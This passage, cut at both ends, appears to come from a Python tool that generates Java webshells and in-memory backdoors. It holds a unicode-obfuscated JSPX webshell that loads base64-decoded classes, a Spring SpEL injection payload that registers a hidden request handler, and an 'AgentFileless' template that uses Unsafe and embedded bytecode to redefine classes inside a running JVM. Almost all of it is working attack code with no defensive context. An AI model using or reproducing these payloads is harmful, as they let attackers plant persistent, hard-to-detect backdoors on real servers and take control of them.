\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0042\\u0075\\u0066\\u0066\\u0065\\u0072\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u0020\\u007b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u0020\\u007b\\u0073\\u0074\\u0072\\u007d\\u0029\\u003b\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0029\\u0020\\u007b\\u0074\\u0072\\u0079\\u0020\\u007b\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u003d\\u0043\\u006c\\u0061\\u0073\\u0073\\u002e\\u0066\\u006f\\u0072\\u004e\\u0061\\u006d\\u0065\\u0028\\u0022\\u006a\\u0061\\u0076\\u0061\\u002e\\u0075\\u0074\\u0069\\u006c\\u002e\\u0042\\u0061\\u0073\\u0065\\u0036\\u0034\\u0022\\u0029\\u003b\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u0020\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0020\\u003d\\u0020\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0067\\u0065\\u0074\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u0022\\u002c\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u002c\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u003b\\u0076\\u0061\\u006c\\u0075\\u0065\\u0020\\u003d\\u0020\\u0028\\u0062\\u0079\\u0074\\u0065\\u005b\\u005d\\u0029\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u004d\\u0065\\u0074\\u0068\\u006f\\u0064\\u0028\\u0022\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0022\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u0043\\u006c\\u0061\\u0073\\u0073\\u005b\\u005d\\u0020\\u007b\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u002e\\u0063\\u006c\\u0061\\u0073\\u0073\\u007d\\u0029\\u002e\\u0069\\u006e\\u0076\\u006f\\u006b\\u0065\\u0028\\u0064\\u0065\\u0063\\u006f\\u0064\\u0065\\u0072\\u002c\\u0020\\u006e\\u0065\\u0077\\u0020\\u004f\\u0062\\u006a\\u0065\\u0063\\u0074\\u005b\\u005d\\u0020\\u007b\\u0073\\u0074\\u0072\\u007d\\u0029\\u003b\\u007d\\u0020\\u0063\\u0061\\u0074\\u0063\\u0068\\u0020\\u0028\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0020\\u0065\\u0065\\u0029\\u0020\\u007b\\u007d\\u007d\\u0072\\u0065\\u0074\\u0075\\u0072\\u006e\\u0020\\u0076\\u0061\\u006c\\u0075\\u0065\\u003b\\u007d</jsp:declaration><jsp:scriptlet>\\u0053\\u0074\\u0072\\u0069\\u006e\\u0067\\u0020\\u0063\\u006c\\u0073\\u0020\\u003d\\u0020\\u0022\"\"\"\nJSPX_POSTFIX = r\"\"\"\\u0022\\u003b\\u0069\\u0066\\u0020\\u0028\\u0063\\u006c\\u0073\\u0020\\u0021\\u003d\\u0020\\u006e\\u0075\\u006c\\u006c\\u0029\\u0020\\u007b\\u006e\\u0065\\u0077\\u0020\\u0055\\u0028\\u0074\\u0068\\u0069\\u0073\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u0028\\u0029\\u002e\\u0067\\u0065\\u0074\\u0043\\u006c\\u0061\\u0073\\u0073\\u004c\\u006f\\u0061\\u0064\\u0065\\u0072\\u0028\\u0029\\u0029\\u002e\\u0067\\u0028\\u0062\\u0061\\u0073\\u0065\\u0036\\u0034\\u0044\\u0065\\u0063\\u006f\\u0064\\u0065\\u0028\\u0063\\u006c\\u0073\\u0029\\u0029\\u002e\\u006e\\u0065\\u0077\\u0049\\u006e\\u0073\\u0074\\u0061\\u006e\\u0063\\u0065\\u0028\\u0029\\u003b\\u007d</jsp:scriptlet></jsp:root>\"\"\"\n\nSPEL_DEMO = r\"\"\"#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringHandler',T(org.springframework.util.Base64Utils).decodeFromString('BASE64'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).addHandler(@requestMappingHandlerMapping, '/index')}\"\"\"\n\nAGENTFILELESS = \"\"\"\nimport sun.instrument.InstrumentationImpl;\nimport sun.misc.Unsafe;\n\nimport java.io.BufferedReader;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.io.RandomAccessFile;\nimport java.lang.instrument.ClassDefinition;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\nimport java.nio.ByteBuffer;\nimport java.nio.ByteOrder;\nimport java.security.ProtectionDomain;\n\npublic class AgentFileless {{\n    private static String className = \"{className}\";\n    private static String classBody = \"{classBody}\";\n\n    private static Object lock = new Object();\n\n    private static Unsafe unsafe = getUnsafe();\n\n    private static Unsafe getUnsafe() {{\n        try {{\n            Field theUnsafe = Unsafe.class.getDeclaredField(\"theUnsafe\");\n            theUnsafe.setAccessible(true);\n            return (Unsafe) theUnsafe.get(null);\n        }} catch (Exception e){{\n            return null;\n        }}\n    }}\n\n    private void enableAttachSelf() {{\n        System.setProperty(\"jdk.attach.allowAttachSelf\", \"true\");\n        try {{\n            Class clazz = Class.forName(\"sun.tools.attach.HotSpotVirtualMachine\");\n            Field field = clazz.getDeclaredField(\"ALLOW_ATTACH_SELF\");\n            long fieldAddress = unsafe.staticFieldOffset(field);\n            unsafe.putBoolean(clazz, fieldAddress, true);\n        }} catch (Exception e) {{}}\n    }}\n\n    private void redefineWin(String className, byte[] classByte) throws Exception {{\n        byte[] inject = new byte[]{{-54, -2, -70, -66, 0, 0, 0, 50, 0, -57, 7, 0, 2, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 7, 0, 4, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 13, 112, 111, 105, 110, 116, 101, 114, 76, 101, 110, 103, 116, 104, 1, 0, 1, 73, 1, 0, 9, 99, 108, 97, 115, 115, 78, 97, 109, 101, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 9, 99, 108, 97, 115, 115, 66, 111, 100, 121, 1, 0, 2, 91, 66, 1, 0, 8, 60, 99, 108, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 9, 0, 1, 0, 15, 12, 0, 5, 0, 6, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 6, 60, 105, 110, 105, 116, 62, 10, 0, 3, 0, 20, 12, 0, 18, 0, 12, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 27, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 4, 119, 111, 114, 107, 7, 0, 30, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 7, 0, 32, 1, 0, 15, 115, 117, 110, 47, 109, 105, 115, 99, 47, 85, 110, 115, 97, 102, 101, 8, 0, 34, 1, 0, 9, 116, 104, 101, 85, 110, 115, 97, 102, 101, 10, 0, 36, 0, 38, 7, 0, 37, 1, 0, 15, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 12, 0, 39, 0, 40, 1, 0, 16, 103, 101, 116, 68, 101, 99, 108, 97, 114, 101, 100, 70, 105, 101, 108, 100, 1, 0, 45, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 59, 10, 0, 42, 0, 44, 7, 0, 43, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 12, 0, 45, 0, 46, 1, 0, 13, 115, 101, 116, 65, 99, 99, 101, 115, 115, 105, 98, 108, 101, 1, 0, 4, 40, 90, 41, 86, 10, 0, 42, 0, 48, 12, 0, 49, 0, 50, 1, 0, 3, 103, 101, 116, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 7, 0, 52, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 65, 115, 115, 101, 114, 116, 105, 111, 110, 69, 114, 114, 111, 114, 10, 0, 51, 0, 54, 12, 0, 18, 0, 55, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 5, 0, 0, 0, 0, 0, 0, 16, 0, 10, 0, 31, 0, 59, 12, 0, 60, 0, 61, 1, 0, 14, 97, 108, 108, 111, 99, 97, 116, 101, 77, 101, 109, 111, 114, 121, 1, 0, 4, 40, 74, 41, 74, 10, 0, 1, 0, 63, 12, 0, 64, 0, 65, 1, 0, 28, 108, 111, 110, 103, 50, 66, 121, 116, 101, 65, 114, 114, 97, 121, 95, 76, 105, 116, 116, 108, 101, 95, 69, 110, 100, 105, 97, 110, 1, 0, 6, 40, 74, 73, 41, 91, 66, 10, 0, 1, 0, 67, 12, 0, 68, 0, 69, 1, 0, 12, 114, 101, 112, 108, 97, 99, 101, 66, 121, 116, 101, 115, 1, 0, 10, 40, 91, 66, 91, 66, 91, 66, 41, 91, 66, 9, 0, 1, 0, 71, 12, 0, 9, 0, 10, 8, 0, 73, 1, 0, 6, 97, 116, 116, 97, 99, 104, 10, 0, 75, 0, 77, 7, 0, 76, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 12, 0, 78, 0, 79, 1, 0, 11, 108, 111, 97, 100, 76, 105, 98, 114, 97, 114, 121, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 5, -1, -1, -1, -1, -1, -1, -1, -1, 8, 0, 23, 10, 0, 1, 0, 84, 12, 0, 23, 0, 24, 10, 0, 29, 0, 86, 12, 0, 87, 0, 12, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 10, 0, 31, 0, 89, 12, 0, 90, 0, 61, 1, 0, 7, 103, 101, 116, 76, 111, 110, 103, 5, 0, 0, 0, 0, 0, 0, 0, -55, 10, 0, 31, 0, 94, 12, 0, 95, 0, 96, 1, 0, 7, 112, 117, 116, 66, 121, 116, 101, 1, 0, 5, 40, 74, 66, 41, 86, 5, 0, 0, 0, 0, 0, 0, 1, 105, 8, 0, 100, 1, 0, 34, 115, 117, 110, 46, 105, 110, 115, 116, 114, 117, 109, 101, 110, 116, 46, 73, 110, 115, 116, 114, 117, 109, 101, 110, 116, 97, 116, 105, 111, 110, 73, 109, 112, 108, 10, 0, 36, 0, 102, 12, 0, 103, 0, 104, 1, 0, 7, 102, 111, 114, 78, 97, 109, 101, 1, 0, 37, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 9, 0, 106, 0, 108, 7, 0, 107, 1, 0, 14, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 76, 111, 110, 103, 12, 0, 109, 0, 110, 1, 0, 4, 84, 89, 80, 69, 1, 0, 17, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 9, 0, 112, 0, 108, 7, 0, 113, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 10, 0, 36, 0, 115, 12, 0, 116, 0, 117, 1, 0, 22, 103, 101, 116, 68, 101, 99, 108, 97, 114, 101, 100, 67, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 1, 0, 51, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 67, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 59, 10, 0, 119, 0, 44, 7, 0, 120, 1, 0, 29, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 67, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 10, 0, 106, 0, 122, 12, 0, 123, 0, 124, 1, 0, 7, 118, 97, 108, 117, 101, 79, 102, 1, 0, 19, 40, 74, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 76, 111, 110, 103, 59, 10, 0, 112, 0, 126, 12, 0, 123, 0, 127, 1, 0, 22, 40, 90, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 66, 111, 111, 108, 101, 97, 110, 59, 10, 0, 119, 0, -127, 12, 0, -126, 0, -125, 1, 0, 11, 110, 101, 119, 73, 110, 115, 116, 97, 110, 99, 101, 1, 0, 39, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 7, 0, -123, 1, 0, 36, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 105, 110, 115, 116, 114, 117, 109, 101, 110, 116, 47, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 9, 0, 1, 0, -121, 12, 0, 7, 0, 8, 10, 0, -124, 0, -119, 12, 0, 18, 0, -118, 1, 0, 22, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 91, 66, 41, 86, 8, 0, -116, 1, 0, 15, 114, 101, 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 101, 115, 7, 0, -114, 1, 0, 39, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 105, 110, 115, 116, 114, 117, 109, 101, 110, 116, 47, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 59, 10, 0, 36, 0, -112, 12, 0, -111, 0, -110, 1, 0, 9, 103, 101, 116, 77, 101, 116, 104, 111, 100, 1, 0, 64, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 59, 10, 0, -108, 0, -106, 7, 0, -107, 1, 0, 24, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 12, 0, -105, 0, -104, 1, 0, 6, 105, 110, 118, 111, 107, 101, 1, 0, 57, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 10, 0, -102, 0, 86, 7, 0, -101, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 1, 0, 6, 117, 110, 115, 97, 102, 101, 1, 0, 17, 76, 115, 117, 110, 47, 109, 105, 115, 99, 47, 85, 110, 115, 97, 102, 101, 59, 1, 0, 5, 102, 105, 101, 108, 100, 1, 0, 25, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 70, 105, 101, 108, 100, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 10, 74, 80, 76, 73, 83, 65, 103, 101, 110, 116, 1, 0, 1, 74, 1, 0, 3, 98, 117, 102, 1, 0, 4, 115, 116, 117, 98, 1, 0, 15, 110, 97, 116, 105, 118, 101, 95, 106, 118, 109, 116, 105, 101, 110, 118, 1, 0, 16, 105, 110, 115, 116, 114, 117, 109, 101, 110, 116, 95, 99, 108, 97, 122, 122, 1, 0, 11, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 1, 0, 31, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 67, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 59, 1, 0, 4, 105, 110, 115, 116, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 1, 0, 10, 100, 101, 102, 105, 110, 105, 116, 105, 111, 110, 1, 0, 38, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 105, 110, 115, 116, 114, 117, 109, 101, 110, 116, 47, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 59, 1, 0, 13, 114, 101, 100, 101, 102, 105, 110, 101, 67, 108, 97, 122, 122, 1, 0, 26, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 77, 101, 116, 104, 111, 100, 59, 1, 0, 5, 101, 114, 114, 111, 114, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 84, 104, 114, 111, 119, 97, 98, 108, 101, 59, 1, 0, 22, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 121, 112, 101, 84, 97, 98, 108, 101, 1, 0, 20, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 60, 42, 62, 59, 1, 0, 34, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 114, 101, 102, 108, 101, 99, 116, 47, 67, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 60, 42, 62, 59, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 10, 1, 0, 1, 108, 1, 0, 6, 108, 101, 110, 103, 116, 104, 1, 0, 5, 97, 114, 114, 97, 121, 1, 0, 1, 105, 10, 0, 75, 0, -68, 12, 0, -67, 0, -66, 1, 0, 9, 97, 114, 114, 97, 121, 99, 111, 112, 121, 1, 0, 42, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 73, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 73, 73, 41, 86, 1, 0, 5, 98, 121, 116, 101, 115, 1, 0, 10, 98, 121, 116, 101, 83, 111, 117, 114, 99, 101, 1, 0, 10, 98, 121, 116, 101, 84, 97, 114, 103, 101, 116, 1, 0, 2, 98, 108, 1, 0, 1, 90, 1, 0, 1, 106, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 0, 33, 0, 1, 0, 3, 0, 0, 0, 3, 0, 9, 0, 5, 0, 6, 0, 0, 0, 9, 0, 7, 0, 8, 0, 0, 0, 9, 0, 9, 0, 10, 0, 0, 0, 6, 0, 8, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 42, 0, 1, 0, 0, 0, 0, 0, 6, 16, 8, -77, 0, 14, -79, 0, 0, 0, 2, 0, 16, 0, 0, 0, 10, 0, 2, 0, 0, 0, 20, 0, 5, 0, 22, 0, 17, 0, 0, 0, 2, 0, 0, 0, 1, 0, 18, 0, 12, 0, 1, 0, 13, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 19, -79, 0, 0, 0, 2, 0, 16, 0, 0, 0, 6, 0, 1, 0, 0, 0, 18, 0, 17, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 21, 0, 22, 0, 0, 1, -120, 0, 23, 0, 24, 0, 1, 0, 25, 0, 0, 0, 4, 0, 1, 0, 26, 0, 9, 0, 28, 0, 12, 0, 2, 0, 25, 0, 0, 0, 4, 0, 1, 0, 29, 0, 13, 0, 0, 18, 97, 0, 9, 0, 12, 0, 0, 16, -72, 1, 75, 18, 31, 18, 33, -74, 0, 35, 76, 43, 4, -74, 0, 41, 43, 1, -74, 0, 47, -64, 0, 31, 75, -89, 0, 13, 76, -69, 0, 51, 89, 43, -73, 0, 53, -65, 42, 20, 0, 56, -74, 0, 58, 64, 17, 1, 120, -68, 8, 89, 3, 16, 72, 84, 89, 4, 16, -125, 84, 89, 5, 16, -20, 84, 89, 6, 16, 40, 84, 89, 7, 16, 72, 84, 89, 8, 16, -125, 84, 89, 16, 6, 16, -28, 84, 89, 16, 7, 16, -16, 84, 89, 16, 8, 16, 72, 84, 89, 16, 9, 16, 49, 84, 89, 16, 10, 16, -55, 84, 89, 16, 11, 16, 101, 84, 89, 16, 12, 16, 72, 84, 89, 16, 13, 16, -117, 84, 89, 16, 14, 16, 65, 84, 89, 16, 15, 16, 96, 84, 89, 16, 16, 16, 72, 84, 89, 16, 17, 16, -117, 84, 89, 16, 18, 16, 64, 84, 89, 16, 19, 16, 24, 84, 89, 16, 20, 16, 72, 84, 89, 16, 21, 16, -117, 84, 89, 16, 22, 16, 112, 84, 89, 16, 23, 16, 32, 84, 89, 16, 24, 16, 72, 84, 89, 16, 25, 16, -83, 84, 89, 16, 26, 16, 72, 84, 89, 16, 27, 16, -106, 84, 89, 16, 28, 16, 72, 84, 89, 16, 29, 16, -83, 84, 89, 16, 30, 16, 72, 84, 89, 16, 31, 16, -117, 84, 89, 16, 32, 16, 88, 84, 89, 16, 33, 16, 32, 84, 89, 16, 34, 16, 77, 84, 89, 16, 35, 16, 49, 84, 89, 16, 36, 16, -64, 84, 89, 16, 37, 16, 68, 84, 89, 16, 38, 16, -117, 84, 89, 16, 39, 16, 67, 84, 89, 16, 40, 16, 60, 84, 89, 16, 41, 16, 76, 84, 89, 16, 42, 16, -119, 84, 89, 16, 43, 16, -62, 84, 89, 16, 44, 16, 72, 84, 89, 16, 45, 4, 84, 89, 16, 46, 16, -38, 84, 89, 16, 47, 16, 68, 84, 89, 16, 48, 16, -117, 84, 89, 16, 49, 16, -126, 84, 89, 16, 50, 16, -120, 84, 89, 16, 54, 16, 73, 84, 89, 16, 55, 4, 84, 89, 16, 56, 16, -40, 84, 89, 16, 57, 16, 72, 84, 89, 16, 58, 16, 49, 84, 89, 16, 59, 16, -10, 84, 89, 16, 60, 16, 65, 84, 89, 16, 61, 16, -117, 84, 89, 16, 62, 16, 112, 84, 89, 16, 63, 16, 32, 84, 89, 16, 64, 16, 72, 84, 89, 16, 65, 4, 84, 89, 16, 66, 16, -34, 84, 89, 16, 67, 16, 72, 84, 89, 16, 68, 16, 49, 84, 89, 16, 69, 16, -55, 84, 89, 16, 70, 16, 73, 84, 89, 16, 71, 16, -71, 84, 89, 16, 72, 16, 71, 84, 89, 16, 73, 16, 101, 84, 89, 16, 74, 16, 116, 84, 89, 16, 75, 16, 80, 84, 89, 16, 76, 16, 114, 84, 89, 16, 77, 16, 111, 84, 89, 16, 78, 16, 99, 84, 89, 16, 79, 16, 65, 84, 89, 16, 80, 16, 72, 84, 89, 16, 81, 2, 84, 89, 16, 82, 16, -63, 84, 89, 16, 83, 16, 72, 84, 89, 16, 84, 16, 49, 84, 89, 16, 85, 16, -64, 84, 89, 16, 86, 16, -117, 84, 89, 16, 87, 7, 84, 89, 16, 88, 16, -114, 84, 89, 16, 89, 16, 72, 84, 89, 16, 90, 4, 84, 89, 16, 91, 16, -40, 84, 89, 16, 92, 16, 76, 84, 89, 16, 93, 16, 57, 84, 89, 16, 94, 16, 8, 84, 89, 16, 95, 16, 117, 84, 89, 16, 96, 16, -17, 84, 89, 16, 97, 16, 72, 84, 89, 16, 98, 16, 49, 84, 89, 16, 99, 16, -10, 84, 89, 16, 100, 16, 65, 84, 89, 16, 101, 16, -117, 84, 89, 16, 102, 16, 112, 84, 89, 16, 103, 16, 36, 84, 89, 16, 104, 16, 72, 84, 89, 16, 105, 4, 84, 89, 16, 106, 16, -34, 84, 89, 16, 107, 16, 102, 84, 89, 16, 108, 16, -117, 84, 89, 16, 109, 16, 12, 84, 89, 16, 110, 16, 78, 84, 89, 16, 111, 16, 72, 84, 89, 16, 112, 16, 49, 84, 89, 16, 113, 16, -10, 84, 89, 16, 114, 16, 65, 84, 89, 16, 115, 16, -117, 84, 89, 16, 116, 16, 112, 84, 89, 16, 117, 16, 28, 84, 89, 16, 118, 16, 72, 84, 89, 16, 119, 4, 84, 89, 16, 120, 16, -34, 84, 89, 16, 121, 16, 72, 84, 89, 16, 122, 16, 49, 84, 89, 16, 123, 16, -46, 84, 89, 16, 124, 16, -117, 84, 89, 16, 125, 16, 20, 84, 89, 16, 126, 16, -114, 84, 89, 16, 127, 16, 72, 84, 89, 17, 0, -128, 4, 84, 89, 17, 0, -127, 16, -38, 84, 89, 17, 0, -126, 16, 72, 84, 89, 17, 0, -125, 16, -119, 84, 89, 17, 0, -124, 16, -41, 84, 89, 17, 0, -123, 16, -71, 84, 89, 17, 0, -122, 16, 97, 84, 89, 17, 0, -121, 16, 114, 84, 89, 17, 0, -120, 16, 121, 84, 89, 17, 0, -119, 16, 65, 84, 89, 17, 0, -118, 16, 81, 84, 89, 17, 0, -117, 16, 72, 84, 89, 17, 0, -116, 16, -71, 84, 89, 17, 0, -115, 16, 76, 84, 89, 17, 0, -114, 16, 111, 84, 89, 17, 0, -113, 16, 97, 84, 89, 17, 0, -112, 16, 100, 84, 89, 17, 0, -111, 16, 76, 84, 89, 17, 0, -110, 16, 105, 84, 89, 17, 0, -109, 16, 98, 84, 89, 17, 0, -108, 16, 114, 84, 89, 17, 0, -107, 16, 81, 84, 89, 17, 0, -106, 16, 72, 84, 89, 17, 0, -105, 16, -119, 84, 89, 17, 0, -104, 16, -30, 84, 89, 17, 0, -103, 16, 72, 84, 89, 17, 0, -102, 16, -119, 84, 89, 17, 0, -101, 16, -39, 84, 89, 17, 0, -100, 16, 72, 84, 89, 17, 0, -99, 16, -125, 84, 89, 17, 0, -98, 16, -20, 84, 89, 17, 0, -97, 16, 48, 84, 89, 17, 0, -96, 2, 84, 89, 17, 0, -95, 16, -41, 84, 89, 17, 0, -94, 16, 72, 84, 89, 17, 0, -93, 16, -125, 84, 89, 17, 0, -92, 16, -60, 84, 89, 17, 